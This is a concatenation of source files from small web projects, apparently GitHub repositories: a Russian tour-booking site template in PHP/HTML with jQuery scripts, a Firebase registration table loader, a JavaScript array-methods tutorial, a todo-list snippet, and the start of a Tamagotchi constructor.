<button class="btn hotel-search--send">Найти тур</button>
</div>
</div>
</div>
<input id="city-id" type="hidden" name="city_id" value='832' >
<input id="place_id" type="hidden" name="place_id" value='4023'>
<input id="place_type" type="hidden" name="place_type" value='resort' >
<input id="nights_min" type="hidden" name="nights_min" >
<input id="nights_max" type="hidden" name="nights_max" >
<input id="date_min" type="hidden" name="date_min" >
<input id="date_max" type="hidden" name="date_max" >
<input id="children" type="hidden" name="children" >
<input id="adult" type="hidden" name="adult" value="2">
</form>
</div>
<!-- select date -->
<div class="hotel-search--date">
<div class="roundtour-date--wrapper">
<div class="roundtour-date--content">
<div class="roundtour-date--top">
<div class="container">
<div class="row">
<div class="col-md-3 no-rightpadding"><h4>Выберите количество ночей:</h4></div>
<div class="col-md-8 no-rightpadding">
<ul class="roundtour-date--night">
<?php for($i=2;$i<=20;$i++){ ?>
<li class="<?php if($i==7) {echo 'active';} ?>"><?php echo $i ?></li>
<?php } ?>
<li>более 20</li>
</ul>
</div>
</div>
</div>
</div>
<div class="roundtour-date--days">
<div class="container">
<div class="row">
<div class="col-md-3"><h4>Выберите период отдыха:</h4></div>
<div class="col-md-8">
<div class="roundtour-date--month"></div>
<input type="hidden" class="select-date" value="">
</div>
<div class="col-md-8 col-md-offset-3">
<div class="roundtour-date--save">
<a href="#" class="btn btn-black hotel-selectdate--save">Сохранить</a>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<!-- end -->
</div>
<div class="container">
<div class="container-white">
<div id="hotel-tours-info" class="hotel-tours-info hidden-xs">В тур включен перелет, проживание в отеле с выбранным типом питания, медицинская страховка, трансфер. Наша цена честная и финальная: она уже включает все необходимые сборы от туроператоров.</div>
<hr class="hotel-hr">
<div class="col-md-12 hotel-table--header clearfix hidden-xs hidden-sm">
<div class="col-sm-5 col-md-4">Дата</div>
<div class="col-sm-2 col-md-2">Питание</div>
<div class="col-sm-2 col-md-2">Номер</div>
<div class="hidden-sm col-md-2">Туроператор</div>
<div class="col-sm-3 col-md-2"></div>
</div>
<?for($i=0;$i<3;$i++):?>
<div class="col-md-12 tour-list-item clearfix hotel-table <?php if($i==2): echo 'tour-list-item_vip'; endif; ?>">
<div class="col-xs-6 col-sm-3 col-md-2 pull-right" style="min-height:50px;">
<div class="price pull-right text-left">28 500 <i class="fa fa-rub"></i><small>на всех</small></div>
<a href="#" class="btn btn-orange">Купить сейчас</a>
</div>
<div class="col-xs-6 col-sm-5 col-md-4 no-rightpadding">
<div class="xs-pull-left"><span class="date">10.12</span> <span class="hidden-xs"> вылет из Екатеринбурга</span></div>
<div class="xs-pull-left"><span class="date"><b class="visible-xs-inline-block">- </b>16.12</span> <span class="hidden-xs"> вылет обратно, 7 ночей</span></div>
<div class="visible-xs clearfix"></div>
<div class="visible-xs">7 ночей</div>
</div>
<div class="col-xs-6 col-sm-2 col-md-2 info">
<span>Завтраки</span>
</div>
<div class="hidden-xs col-sm-2 col-md-2 info">
<span>Номер Стандартный.<br class="hidden-lg"> 2 взрослых</span>
</div>
<div class="hidden-xs hidden-sm col-md-2 info">
<?php if($i==2): ?>
<span class="tour-list--logo"><img src="DEMO/tour-logo.png" alt=""></span>
<?php endif; ?>
<span>Веди тур</span>
</div>
</div>
<?endfor;?>
<div class="clearfix"></div>
<h2 class="clearfix">Отзывы об отеле</h2>
<div class="hotel-comments--list">
<?php for($i=1;$i<=5;$i++){ ?>
<div class="hotel-comment--item">
<div class="row">
<div class="col-md-3 col-sm-3 col-xs-12">
<div class="row">
<div class="col-sm-12 col-xs-8">
<h4 class="hotel-comment--author"><NAME></h4>
<span class="hotel-comment--date">28.08.15</span>
</div>
<div class="hotel-comment--rating col-sm-12 col-xs-4">7,8 из 10</div>
</div>
</div>
<div class="col-md-9 col-sm-9 col-xs-12 no-leftpadding">
<div class="hotel-comment--text">
<p>Ассортиментная политика предприятия позиционирует социометрический рекламный макет. Организация службы маркетинга тормозит социометрический повторный кон</p>
<p>Ассортиментная политика предприятия позиционирует социометрический рекламный макет. Организация службы маркетинга тормозит социометрический повторный кон</p>
<p>Ассортиментная политика предприятия позиционирует социометрический рекламный макет. Организация службы маркетинга тормозит социометрический повторный кон</p>
</div>
<a href="#" class="hotel-comment--fulllink hidden-xs">Читать отзыв</a>
</div>
</div>
</div>
<?php } ?>
</div>
<div class="">
<h2 class="clearfix">Уютный отель на берегу моря</h2>
<div class="row hotel-xs-padding">
<div class="col-sm-12 col-md-9 col-lg-9">
<p>Тур "Наследие великих цивилизаций" поражает воображение! Целых 3 дня путешествия посвящены загадочному Стамбулу. Затем Вы побываете в Чанаккале, где разворачивалось действие «Илиады», увидите культурные святыни, открытые во время раскопок Шлиманна! Вас ждут руины города Пергам, «хлопковый замок» в Памуккале, термальные ванны Клеопатры, древний город Иераполис, экскурсия по Анталии и поездка к невероятному водопаду!</p>
<p>В стоимость тура включены: перелёт, проживание в отелях с завтраками, трансферы на комфортабельном автобусе, экскурсии, услуги гида.</p>
</div>
<div class="hidden-sm col-md-3 col-lg-3 weather">
<div class="temp" data-operator="+" style="background-image:url(img/weather-1.png)">35</div>
<div class="desc">Переменная облачность, без осадков</div>
</div>
</div>
<div id="hotel-options">
<div class="col-xs-12">
<div class="hotel-options-xs-select--wrapper">
<a href="#" class="visible-xs hotel-options-xs-select">
<span class="text">Инфраструктура</span>
<span class="icon"><i class="fa fa-caret-down"></i></span>
</a>
<!-- Nav tabs -->
<ul class="nav hotel-options-xs-select--submenu">
<li class="active"><a href="#opt-1" data-toggle="tab">Инфраструктура</a></li>
<li><a href="#opt-2" data-toggle="tab">Платно</a></li>
<li><a href="#opt-3" data-toggle="tab">В номере</a></li>
<li><a href="#opt-4" data-toggle="tab">Типы комнат</a></li>
</ul>
</div>
</div>
<!-- Tab panes -->
<div class="tab-content">
<div class="tab-pane active" id="opt-1">
<ul class="hotel-options-list">
<li>3 ресторана</li>
<li>3 бара</li>
<li>2 бассейна</li>
<li>Услуги врача</li>
</ul>
</div>
<div class="tab-pane" id="opt-2"></div>
<div class="tab-pane" id="opt-3"></div>
<div class="tab-pane" id="opt-4"></div>
</div>
</div>
<div id="filters"></div>
</div>
</div>
</div>
</div>
<div class="visible-xs">
<a href="#" class="tab-xs-header">Отзывы клиентов <span class="icon"><i class="fa fa-angle-down"></i></span></a>
</div>
<div class="tab-pane fade" id="comments">
<div class="container">
<div class="container-white">
<div class="clearfix xs-padding">
<h2 class="pull-left">Отзывы клиентов</h2>
<button class="btn pull-right" data-recalc="false" data-toggle="offcanvas" data-target="#hotel-comment" data-canvas="#site-wrap">Добавить отзыв</button>
</div>
<? for($i=0;$i<7;$i++):?>
<div class="comment clearfix">
<div class="col-xs-6 col-sm-3 col-md-3">
<div class="name"><NAME></div>
<div class="date">28.08.15</div>
<a href="#" class="photos hidden-xs">Фотоотчет</a>
</div>
<div class="col-xs-6 col-sm-3 col-md-2 pull-right text-right">
<p class="gray hidden-xs">Общая оценка:</p>
<div class="rating"><b>7,8</b> из 10</div>
</div>
<div class="visible-xs clearfix"></div>
<div class="visible-xs"><br></div>
<div class="col-xs-12 col-sm-6 col-md-7">
<p>Тестовый текст. Написан для наглядности. Расширяет блок в зависимости от количества текста... Тестовый текст. Написан для наглядности. Расширяет блок в зависимости от количества текста...</p>
<p class="gray hidden-xs">Отдыхал: один</p>
</div>
</div>
<? endfor; ?>
<div class="more"><a href="#">Показать еще</a></div>
</div>
</div>
</div>
<div class="visible-xs">
<a href="#" class="tab-xs-header">Отель на карте <span class="icon"><i class="fa fa-angle-down"></i></span></a>
</div>
<div class="tab-pane fade frame-map" id="map">
<div class="container">
<div class="container-white">
<iframe src="https://www.google.com/maps/embed?pb=!1m14!1m12!1m3!1d58730.31270831107!2d60.64912399337177!3d56.83602367647622!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!5e0!3m2!1sru!2sby!4v1447341222324" width="100%" height="600" frameborder="0" style="border:0" allowfullscreen></iframe>
</div>
</div>
</div>
</div>
<div class="block-hotel-comments">
<div class="container">
<h3>ОТЗЫВЫ ОБ ОТЕЛЕ GREEN WORLD HOTEL</h3>
<div class="block-hotel-comments--list row">
<?php for($i=1;$i<=3;$i++){ ?>
<div class="col-md-4 col-sm-6 <?php if($i==3) echo 'hidden-sm'; ?> <?php if($i>1) echo 'hidden-xs'; ?>">
<div class="block-hotel-comments--item">
<div class="block-hotel-comments--header">
<span class="block-hotel-comments--author">Сергей</span>
<span class="block-hotel-comments--rating">7,8 из 10</span>
</div>
<div class="block-hotel-comments--place">Green World Hotel, Вьетнам, Нячанг, Ноябрь 2015</div>
<div class="block-hotel-comments--content">Ассортиментная политика предприятия позиционирует социометрический рекламный макет. Организация службы маркетинга тормозит социометрический повторный контракт</div>
<a href="#" class="block-hotel-comments--fulllink">Читать отзыв</a>
</div>
</div>
<?php } ?>
</div>
</div>
</div>
</div>
<div class="hotel-bottom">
<div class="container">
<div class="hotel-photos">
<?php for($i=1;$i<=7;$i++){ ?>
<a href="DEMO/hotel<?php echo rand(1,3); ?>.jpg" class="fancybox <?php if($i>5) echo 'hidden-sm ' ?><?php if($i>4) echo 'hidden-xs' ?>" rel="hotel-gallery2"><img src="DEMO/hotel<?php echo rand(1,3); ?>.jpg" alt=""></a>
<?php } ?>
</div>
<div class="hotel-beside">
<h3>ОТЕЛИ РЯДОМ С GREEN WORLD HOTEL, НЯЧАНГ, ВЬЕТНАМ</h3>
<div class="row">
<?php for($i=1;$i<=3;$i++){ ?>
<div class="col-md-3 col-sm-4">
<ul class="hotel-beside--list">
<li><a href="#">Barcelona 3*</a></li>
<li><a href="#">Ha Thanh Hotel 2*</a></li>
<li><a href="#">Daisy 3*</a></li>
</ul>
</div>
<?php } ?>
</div>
</div>
</div>
</div>
<file_sep>/tour-filtered.php
<?php
/***********************************
* Created by Devorans.com
* Author: Admin
* File: tour-filtered.php
* Project: tour
* Date: 20.10.2015
* Feedback: <EMAIL>
************************************/ ?>
<div id="sub-header" style="background-image:url('DEMO/sh-tour-filtered.jpg')">
<h3><img src="img/flags/abhz.gif" alt=""> Шри-Ланка</h3>
</div>
<div class="tour-filter-height"></div>
<div class="tour-filter">
<a href="#" class="tour-filter--show"><span>Развернуть фильтр <i class="icons-arrow-down_white"></i></span></a>
<div class="tour-filter--container">
<div class="container">
<form action="" class="form-tourfilter">
<div class="row">
<div class="col-md-2 col-sm-6">
<h4 class="tour-filter--header">
<span class="icon icons-filter-eat"></span>
<span class="text">Питание</span>
</h4>
<div class="tour-filter--inputs">
<ul class="tour-filter--checkboxs">
<li>
<label class="custom-checkbox">
<input type="checkbox" checked name="eat1">
<span>Завтраки</span>
</label>
</li>
<li>
<label class="custom-checkbox">
<input type="checkbox" checked name="eat2">
<span>Двухразовое</span>
</label>
</li>
<li>
<label class="custom-checkbox">
<input type="checkbox" checked name="eat3">
<span>Трёхразовое</span>
</label>
</li>
<li>
<label class="custom-checkbox">
<input type="checkbox" checked name="eat4">
<span>Всё включено</span>
</label>
</li>
<li>
<label class="custom-checkbox">
<input type="checkbox" name="eat5">
<span>Без питания</span>
</label>
</li>
</ul>
</div>
</div>
<div class="col-md-3 col-sm-6" style="min-height:196px">
<h4 class="tour-filter--header">
<span class="icon icons-filter-class"></span>
<span class="text">Класс отеля</span>
</h4>
<div class="tour-filter--inputs">
<ul class="tour-filter--checkboxs">
<li>
<label class="custom-checkbox filter-checkbox_class">
<input type="checkbox" name="class1" checked>
<span>
<i class="fa fa-star" aria-hidden="true"></i>
<i class="fa fa-star" aria-hidden="true"></i>
<i class="fa fa-star" aria-hidden="true"></i>
<i class="fa fa-star" aria-hidden="true"></i>
<i class="fa fa-star" aria-hidden="true"></i>
</span>
</label>
</li>
<li>
<label class="custom-checkbox filter-checkbox_class">
<input type="checkbox" name="class2">
<span>
<i class="fa fa-star" aria-hidden="true"></i>
<i class="fa fa-star" aria-hidden="true"></i>
<i class="fa fa-star" aria-hidden="true"></i>
<i class="fa fa-star" aria-hidden="true"></i>
</span>
</label>
</li>
<li>
<label class="custom-checkbox filter-checkbox_class">
<input type="checkbox" name="class3">
<span>
<i class="fa fa-star" aria-hidden="true"></i>
<i class="fa fa-star" aria-hidden="true"></i>
<i class="fa fa-star" aria-hidden="true"></i>
</span>
</label>
</li>
<li>
<label class="custom-checkbox">
<input type="checkbox" name="class4">
<span>
Аппартаменты / Виллы
</span>
</label>
</li>
</ul>
</div>
</div>
<div class="col-md-4 col-sm-6">
<h4 class="tour-filter--header">
<span class="icon icons-filter-price"></span>
<span class="text">Цена в рублях</span>
</h4>
<div class="tour-filter--inputs">
<div class="tour-filter--price">
<div class="row">
<div class="col-md-5 col-sm-5 col-xs-5">
<input type="text" class="form-control tourFilterPriceMin" name="priceMin" value="10 000">
</div>
<div class="col-md-2 col-sm-2 col-xs-2 no-leftpadding no-rightpadding">
<span class="sep"></span>
</div>
<div class="col-md-5 col-sm-5 col-xs-5">
<input type="text" class="form-control tourFilterPriceMax" name="priceMax" value="15 000 000">
</div>
</div>
<div class="tour-filter--price-slider">
<input type="text" class="tour-filter-price" name="filter-price" value="" />
</div>
</div>
</div>
</div>
<div class="col-md-3 col-sm-6">
<h4 class="tour-filter--header">
<span class="icon icons-filter-beach"></span>
<span class="text">Пляж</span>
</h4>
<div class="tour-filter--inputs">
<ul class="tour-filter--checkboxs">
<li>
<label class="custom-checkbox">
<input type="checkbox" name="beach1">
<span>Первая пляжная линия</span>
</label>
</li>
<li>
<label class="custom-checkbox">
<input type="checkbox" name="beach2">
<span>Вторая пляжная линия</span>
</label>
</li>
<li>
<label class="custom-checkbox">
<input type="checkbox" name="beach3">
<span>Третья пляжная линия</span>
</label>
</li>
</ul>
</div>
</div>
</div>
</form>
</div>
<div class="tour-filter--line">
<a href="#" class="tour-filter--hide"><i class="fa fa-angle-up" aria-hidden="true"></i></a>
</div>
</div>
</div>
<div class="container" id="tour-filtered">
<div class="tour-search-preload">
<div class="tour-search-preload--spinner">
<span class="icon"></span>
<span class="text">Загружаем туры на двоих</span>
</div>
<br>
<div class="tour-search-preload--advertising">
<img src="DEMO/preload-banner.png" alt="">
</div>
<br>
<div class="tour-search-preload--advertising video">
<iframe src="https://www.youtube.com/embed/F9B7g9-PkB8?rel=0&controls=0&showinfo=0" frameborder="0" allowfullscreen></iframe>
</div>
</div>
<div class="row">
<h2 class="col-xs-12 roboto-light tour-filtered--header">Найдено 28 отелей</h2>
</div>
<div class="row">
<?php for($i=1;$i<=9;$i++){ ?>
<div class="col-xs-12 col-sm-6 col-md-6 col-large-4 tour-column">
<div class="tour-block tour-block-new">
<div class="tour-header row">
<div class="col-md-7">
<h2>
<?php
if(rand(0,1)){
$header = "SIGMA RESORT";
}else{
$header = "PORTO AZZURRO CLUB <NAME>я PORTO AZZURRO CLUB MARE Отели Австрия";
}
?>
<a href="#" title="<?php echo $header; ?>"><?php echo $header; ?></a>
</h2>
</div>
<div class="tour-rating col-md-5">
<div class="tour-rating--star"><img src="img/tour-rating.png" width="59" height="12" alt=""></div>
<span class="tour-rating--num">~ 4,2</span>
</div>
</div>
<div class="clearfix"></div>
<div class="tour-desc">Таиланд, Паттайя, пляж Джомтьен, 1 линия, Песок, Оборудованный</div>
<div class="thumb">
<a href="#" class="thumb-link"><img src="DEMO/tour-item-1.jpg"></a>
<a href="#" class="like like-left"></a>
</div>
<div class="tour-footer">
<div class="col-sm-5">
<div class="tour-eat">
<span>Завтраки</span>
19 ноября на 6 ночей
</div>
</div>
<div class="col-sm-7">
<div class="text-right">
<a href="#" class="tour-commentlink">Отзывы (14)</a>
</div>
<div class="text-right">
<a href="#" class="tour-price">
<?php echo rand(1,50) . ' ' . rand(100,999); ?> 200 <i class="fa fa-rub"></i>
</a>
</div>
</div>
</div>
</div>
</div>
<?php } ?>
<div class="col-xs-12 col-sm-6 col-md-6 col-large-4 tour-column">
<div class="tour-block tour-block-new">
<div class="tour-header row">
<div class="col-md-12">
<h2>
Заказ обратного звонка
</h2>
</div>
</div>
<div class="tour-desc tour-desc--before-form">Ответим на все вопросы</div>
<div class="country-notfound country-notfound--tour">
<h2 class="country-notfound-header country-notfound-header--tour"><strong>Не нашли</strong><br> что искали?</h2>
<p class="country-notfound-text country-notfound-text--tour">Мы с радостью ответим на все ваши вопросы.<br> Просто оставьте номер Вашего телефона.</p>
<form class="country-notfound-form country-notfound-form--tour">
<input type="text" class="form-control phone-mask" placeholder="+7 (___) ___ __ __">
<button class="form-send btn btn_black">
<span class="text1">Ок</span>
<span class="text2"><i class="fa fa-check" aria-hidden="true"></i></span>
</button>
</form>
<p class="country-notfound-call">
<span class="text1">Перезвоним за <strong>25 секунд</strong></span>
<span class="text2">Спасибо. Ваша заявка принята</span>
</p>
</div>
</div>
</div>
<div class="col-xs-12 col-sm-6 col-md-6 col-large-4 tour-column">
<div class="tour-block tour-block-new">
<div class="tour-header row">
<div class="col-md-12">
<h2>Оформите подписку</h2>
</div>
</div>
<div class="tour-desc tour-desc--before-form">Будьте в курсе новых туров</div>
<div class="country-notfound country-notfound--tour country-notfound--sub">
<h2 class="country-notfound-header country-notfound-header--tour">
<strong>Ничего</strong><br>не подходит?
</h2>
<p class="country-notfound-text country-notfound-text--tour">Оставьте нам адрес Вашей электронной почты<br> и получайте все самое лучше первыми!</p>
<form class="country-notfound-form country-notfound-form--tour country-notfound-form--sub">
<input type="text" class="form-control" placeholder="Ваш e-mail">
<button class="form-send form-send--yellow btn btn_black">
<span class="text1">Ок</span>
<span class="text2"><i class="fa fa-check" aria-hidden="true"></i></span>
</button>
</form>
<p class="country-notfound-call">
<span class="text1"></span>
<span class="text2">Подписка оформлена</span>
</p>
<span class="country-notfound__line country-notfound__line--left"></span>
<span class="country-notfound__line country-notfound__line--right"></span>
</div>
</div>
</div>
<?php for($i=1;$i<=9;$i++){ ?>
<div class="col-xs-12 col-sm-6 col-md-6 col-large-4 tour-column">
<div class="tour-block tour-block-new">
<div class="tour-header row">
<div class="col-md-7">
<h2>
<?php
if(rand(0,1)){
$header = "SIGMA RESORT";
}else{
$header = "PORTO AZZURRO CLUB MARE Отели Австрия PORTO AZZURRO CLUB MARE Отели Австрия";
}
?>
<a href="#" title="<?php echo $header; ?>"><?php echo $header; ?></a>
</h2>
</div>
<div class="tour-rating col-md-5">
<div class="tour-rating--star"><img src="img/tour-rating.png" width="59" height="12" alt=""></div>
<span class="tour-rating--num">~ 4,2</span>
</div>
</div>
<div class="clearfix"></div>
<div class="tour-desc">Таиланд, Паттайя, пляж Джомтьен, 1 линия, Песок, Оборудованный</div>
<div class="thumb">
<a href="#" class="thumb-link"><img src="DEMO/tour-item-1.jpg"></a>
<a href="#" class="like like-left"></a>
</div>
<div class="tour-footer">
<div class="col-sm-5">
<div class="tour-eat">
<span>Завтраки</span>
19 ноября на 6 ночей
</div>
</div>
<div class="col-sm-7">
<div class="text-right">
<a href="#" class="tour-commentlink">Отзывы (14)</a>
</div>
<div class="text-right">
<a href="#" class="tour-price">
<?php echo rand(1,50) . ' ' . rand(100,999); ?> 200 <i class="fa fa-rub"></i>
</a>
</div>
</div>
</div>
</div>
</div>
<?php } ?>
</div>
</div>
<div class="more">
<a href="#">Загрузить еще</a>
</div>
<file_sep>/js/country.js
(function(){
$('.country-search--date').slideDown(0);
$('.country-photo-slider').slick({
slidesToShow: 4,
slidesToScroll: 4,
arrows: true,
prevArrow: '<button type="button" class="slick-arrow slick-prev"><span class="icons-arrow-left_border_yellow"></span></button>',
nextArrow: '<button type="button" class="slick-arrow slick-next"><span class="icons-arrow-right_border_yellow"></span></button>',
responsive: [
{
breakpoint: 991,
settings: {
arrows: false
}
}
]
});
$('.country-chart-list a').on('click',function(){
if(!$(this).hasClass('country-chart-list_active')){
$(this).closest('.country-chart-list').find('.country-chart-list_active').removeClass('country-chart-list_active');
$(this).addClass('country-chart-list_active');
console.log('change month!');
var price = '7 849 400';
$('.country-resorts-item-price').filter(':not(.country-resorts-item-price_learn)').each(function(){
price = Math.round(Math.random() + 5) + ' 8' + Math.round(Math.random() + 5) + '9 ' + Math.round(Math.random() + 5) + '00'
$(this).find('span').text(price);
});
}
return false;
});
var resortsCounter = 0;
$('.country-resorts-showmore').on('click',function(){
resortsCounter++;
var item = $('.country-resorts-item_popular').last().clone();
$('.country-resorts_popular .country-resorts-list').append(item);
console.log('load resorts!');
if(resortsCounter >= 2){
$(this).parent().slideUp(200,function(){
$(this).remove();
});
}
return false;
});
$('.country-info-select .form-control').change(function(){
console.log($(this).attr('name') + ' change');
});
$('.country-video-link').on('click', function(){
$.fancybox({
'padding' : 0,
'transitionIn' : 'none',
'transitionOut' : 'none',
'href' : this.href.replace(new RegExp("watch\\?v=", "i"), 'v/'),
'type' : 'swf',
'swf' : {
'wmode' : 'transparent',
'allowfullscreen' : 'true'
}
});
return false;
});
$(".phone-mask").mask("+7 (999) 999 99 99");
var isSubmit = false;
$('.country-notfound-form').on('submit',function(){
var $form = $(this);
var $call = $form.next();
if(!isSubmit){
showSucces();
}else{
resetForm();
}
function showSucces(){
$form.addClass('country-notfound-form_submit');
$form.find('.form-control').fadeOut(100);
$form.find('.form-send').find('.text1').fadeOut(100,function(){
$form.find('.form-send').find('.text2').fadeIn(200);
});
$call
.addClass('success')
.find('.text1').fadeOut(200,function(){
$call.find('.text2').fadeIn(300);
});
isSubmit = true;
}
function resetForm(){
$form.removeClass('country-notfound-form_submit');
$form.find('.form-control').val('').delay(300).fadeIn(100);
$form.find('.form-send').find('.text2').delay(300).fadeOut(100,function(){
$form.find('.form-send').find('.text1').fadeIn(200);
});
$call
.removeClass('success')
.find('.text2').fadeOut(200,function(){
$call.find('.text1').fadeIn(300);
});
isSubmit = false;
}
console.log(isSubmit);
return false;
});
var chartSlider = {
$slider: $('.country-chart-slider'),
$list: $('.country-chart-list'),
$item: $('.country-chart-list .col-xs-1'),
$prev: $('.country-chart-prev'),
$next: $('.country-chart-next'),
current: 1,
nav: function(type){
var current = chartSlider.current;
var currentOld,currentNew;
var removeClass,addClass;
var name = 'country-chart-list_slide';
if(type == 'prev'){
if(current > 1){
currentOld = current;
current--;
currentNew = current;
}else{
currentOld = 1;
current = 3;
currentNew = current;
}
}else{
if(current < 3){
currentOld = current;
current++;
currentNew = current;
}else{
currentOld = current;
current = 1;
currentNew = current;
}
}
removeClass = name + currentOld;
addClass = name + currentNew;
chartSlider.$list.removeClass(removeClass);
chartSlider.$list.addClass(addClass);
chartSlider.current = currentNew;
}
}
chartSlider.$prev.on('click', function(){
chartSlider.nav('prev');
return false;
});
chartSlider.$next.on('click', function(){
chartSlider.nav('next');
return false;
});
// google.maps.event.addDomListener(window, 'load', init);
var isInit = false;
$('.country-info-hotels a').on('click',function(){
if(!isInit){
init();
isInit = true;
}
})
function init() {
var mapOptions = {
zoom: 11,
center: new google.maps.LatLng(55.796842, 37.683964),
styles: [{
"featureType":"all",
"elementType":"all",
"stylers":[
{ "saturation": -100 },
{ "gamma" : 0.5 }
]
}],
zoomControl: true,
scaleControl: true,
mapTypeControl: false
};
var mapElement = document.getElementById('countryMap');
var map = new google.maps.Map(mapElement, mapOptions);
// var currentMark;
// var contentString = '<div id="content">'+
// '<div id="siteNotice">'+
// '</div>'+
// '<h1 id="firstHeading" class="firstHeading">Заголовок</h1>'+
// '<div id="bodyContent">'+
// '<p>Текст</p>'+
// '</div>'+
// '</div>';
// var infowindow = new google.maps.InfoWindow({
// content: contentString
// });
var marker = new google.maps.Marker({
position: new google.maps.LatLng(55.796842, 37.683964),
map: map,
title: 'Первый маркер!',
icon : 'img/map/marker.png'
});
// marker.addListener('click', function() {
// infowindow.open(map, marker);
// currentMark = this;
// });
var marker2 = new google.maps.Marker({
position: new google.maps.LatLng(55.770104, 37.610750),
map: map,
title: 'Второй маркер!',
icon : 'img/map/marker.png'
});
// marker2.addListener('click', function() {
// infowindow.open(map, this);
// currentMark = this;
// });
}
})($); | b68d7da7a89645175efb8eb83da45b67a3b2a3e1 | [
"JavaScript",
"PHP"
] | 27 | PHP | WALKMAN5/gotour | 6d192a45001d259f0e51a5bd80c34466bbfa9fa6 | 1e08aeb511bc4ad080623c40cb373e0a9373877b |
refs/heads/master | <file_sep>const URL = "https://reflexons-2019.firebaseio.com/registrations.json";
let dataArr = [];
$(document).ready(function() {
$.ajax({
url: URL,
dataType: "json",
success: function(res) {
for (let i in res) {
if (res.hasOwnProperty(i)) {
let val = res[i];
dataArr.push({
event: val.event,
name: val.name,
email: val.email,
phone: val.phone,
stream: val.stream,
course: val.course,
year: val.year,
institution: val.institution,
teamSize: val.teamSize,
teamMembers: val.teamMembers,
teamPreference: val.teamPreference ? val.teamPreference : ""
});
}
}
let dataTableOptions = {
data: dataArr,
columns: [
{ title: "Event", data: "event" },
{ title: "Name", data: "name" },
{ title: "Email", data: "email" },
{ title: "Phone", data: "phone" },
{ title: "Stream", data: "stream" },
{ title: "Course", data: "course" },
{ title: "Year", data: "year" },
{ title: "Institution", data: "institution" },
{ title: "Team Size", data: "teamSize" },
{ title: "Team Members", data: "teamMembers" },
{ title: "Team Preference", data: "teamPreference" }
],
paging: true,
scrollY: "100%",
select: true
};
$("#table_id").DataTable(dataTableOptions);
}
});
console.log(dataArr);
});
| edb701f178d0536c627a7c43f1902d758b859912 | [
"JavaScript"
] | 1 | JavaScript | reflexons/reflexons.github.io | 470edefeef1f8fe8cbf50c2359688d4c58b0297c | 76bd80ac0ac013e6d43981749b93cfa16b1bfead |
refs/heads/master | <file_sep>/**
* Created by andrew on 21.10.16.
*/
/*split
Синтаксис
var arr = str.split([separator][, limit]);
Аргументы
separator
регулярное выражение или строка, по которой делить str
limit
максимальное количество кусков, на которые может быть разбита строка
Описание, примеры
Метод split возвращает новый массив.
Строка бьется по separator, при разбивании separator пропадает:
arr = "a,b,c".split(',') // массив ["a", "b", "c"]
*/
var animals = "dog , cat, elephant , wolf , fox, rabbit";
var sep = /\s*,\s*/;
var animalList = animals.split(sep,4);
console.log("Primer 1: split ");
console.dir(animals);
console.log(animalList.toString()); // ["dog" "cat" "elephant" "wolf"]
/*push
Синтаксис
array.push( elem1, elem2, ... )
Аргументы
elem1, elem2, ...
Эти элементы будут добавлены в конец массива
*/
var addAnimals = ["fox", "rabbit"];
for (var i =0; i < addAnimals.length; i++)
{
animalList.push(addAnimals[i]);
}
console.log("Primer 2: push ");
console.log(addAnimals);
console.log(animalList.toString()); //["dog", "cat", "elephant", "wolf", "fox", "rabbit"]
/*sort
Синтаксис
arrayObj.sort( [sortFunction] )
Аргументы
sortFunction
Необязательный параметр - функция сортировки.
Если указана функция, то элементы массива будут отсортированы согласно значениям, возвращаемых функцией. Условия на функцию можно записать следующим образом:
function sortFunction(a, b){
if(a меньше, чем b по некоторому критерию)
return -1 // Или любое число, меньшее нуля
if(a больше, чем b по некоторому критерию)
return 1 // Или любое число, большее нуля
// в случае а = b вернуть 0
return 0
}
Если параметр не указан, массив будет отсортирован в лексикографическом порядке (возрастающий порядок следования символов в таблице ASCII).
*/
animalList.sort();
console.log("Primer 3: sort ");
console.log(animalList.toString()); //["dog", "cat", "elephant", "wolf", "fox", "rabbit"]
/*reverse
Синтаксис
arrayObj.sort( [sortFunction] )
Аргументы
sortFunction
Необязательный параметр - функция сортировки.
Если указана функция, то элементы массива будут отсортированы согласно значениям, возвращаемых функцией. Условия на функцию можно записать следующим образом:
function sortFunction(a, b){
if(a меньше, чем b по некоторому критерию)
return -1 // Или любое число, меньшее нуля
if(a больше, чем b по некоторому критерию)
return 1 // Или любое число, большее нуля
// в случае а = b вернуть 0
return 0
}
Если параметр не указан, массив будет отсортирован в лексикографическом порядке (возрастающий порядок следования символов в таблице ASCII).
*/
animalList.reverse();
console.log("Primer 4: reverse ");
console.log(animalList.toString()); //["dog", "cat", "elephant", "wolf", "fox", "rabbit"]
/*pop
Пример:
myFish = ["angel", "clown", "mandarin", "surgeon"];
popped = myFish.pop();
// теперь popped = "surgeon"
// myFish = ["angel", "clown", "mandarin"]
*/
delAnimal =animalList.pop();
console.log("Primer 5: pop ");
console.log(delAnimal);
console.log(animalList.toString()); //["dog", "cat", "elephant", "wolf", "fox", "rabbit"]
/*join
Синтаксис
arrayObj.join( [glue] )
Аргументы
glue
Строковый аргумент, с помощью которого будут соединены в строку все элементы массива. Если аргумент не задан, элементы будут соединены запятыми.
*/
//animalList.join();
console.log("Primer 6: join ");
console.dir(animalList);
console.dir(animalList.join()); //["dog", "cat", "elephant", "wolf", "fox", "rabbit"]
/*splice
Синтаксис
arrayObj.splice( start, deleteCount, [elem1[, elem2[, ...[, elemN]]]] )
Аргументы
start
Индекс в массиве, с которого начинать удаление.
deleteCount
Кол-во элементов, которое требуется удалить, начиная с индекса start.
elem1, elem2, ..., elemN
Добавляемые элементы в массив. Добавление начинается с позиции start.
*/
//animalList.join();
console.log("Primer 7: splice ");
animalList.splice(0,animalList.length);
console.dir(animalList.toString());
//console.dir(animalList.join()); //["dog", "cat", "elephant", "wolf", "fox", "rabbit"]<file_sep>/**
* Created by andrew on 15.11.16.
*/
function clickMainButton(){
var input = document.getElementsByTagName("input")[0];
console.dir(input);
console.dir(mainTodo);
var newDo = document.createElement('li');
newDo.innerText = input.value;
var mainTodo = document.getElementById("todo");
mainTodo.appendChild(newDo);
// arrLi = mainTodo.getElementsByTagName("li");
// Array.prototype.forEach.call(arrLi, function (input) { console.log(input)});
// if (!input.value ==''){
/* var newLi = document.createElement('li');
newLi.innerText = input.value;
mainTodo.appendChild(newLi);*/
// } else{ alert('Value is blank!'); }
}<file_sep>/**
* Created by andrew on 04.11.16.
*/
var MaxParam = 10;
var MinParam = 0;
var MaxAge = 30;
// beginning
function Tam(nickname, health, happiness, luck, life, operability, hunger, age) {
this.nickname = nickname || 'Unknown';
this.health = health || MaxParam;
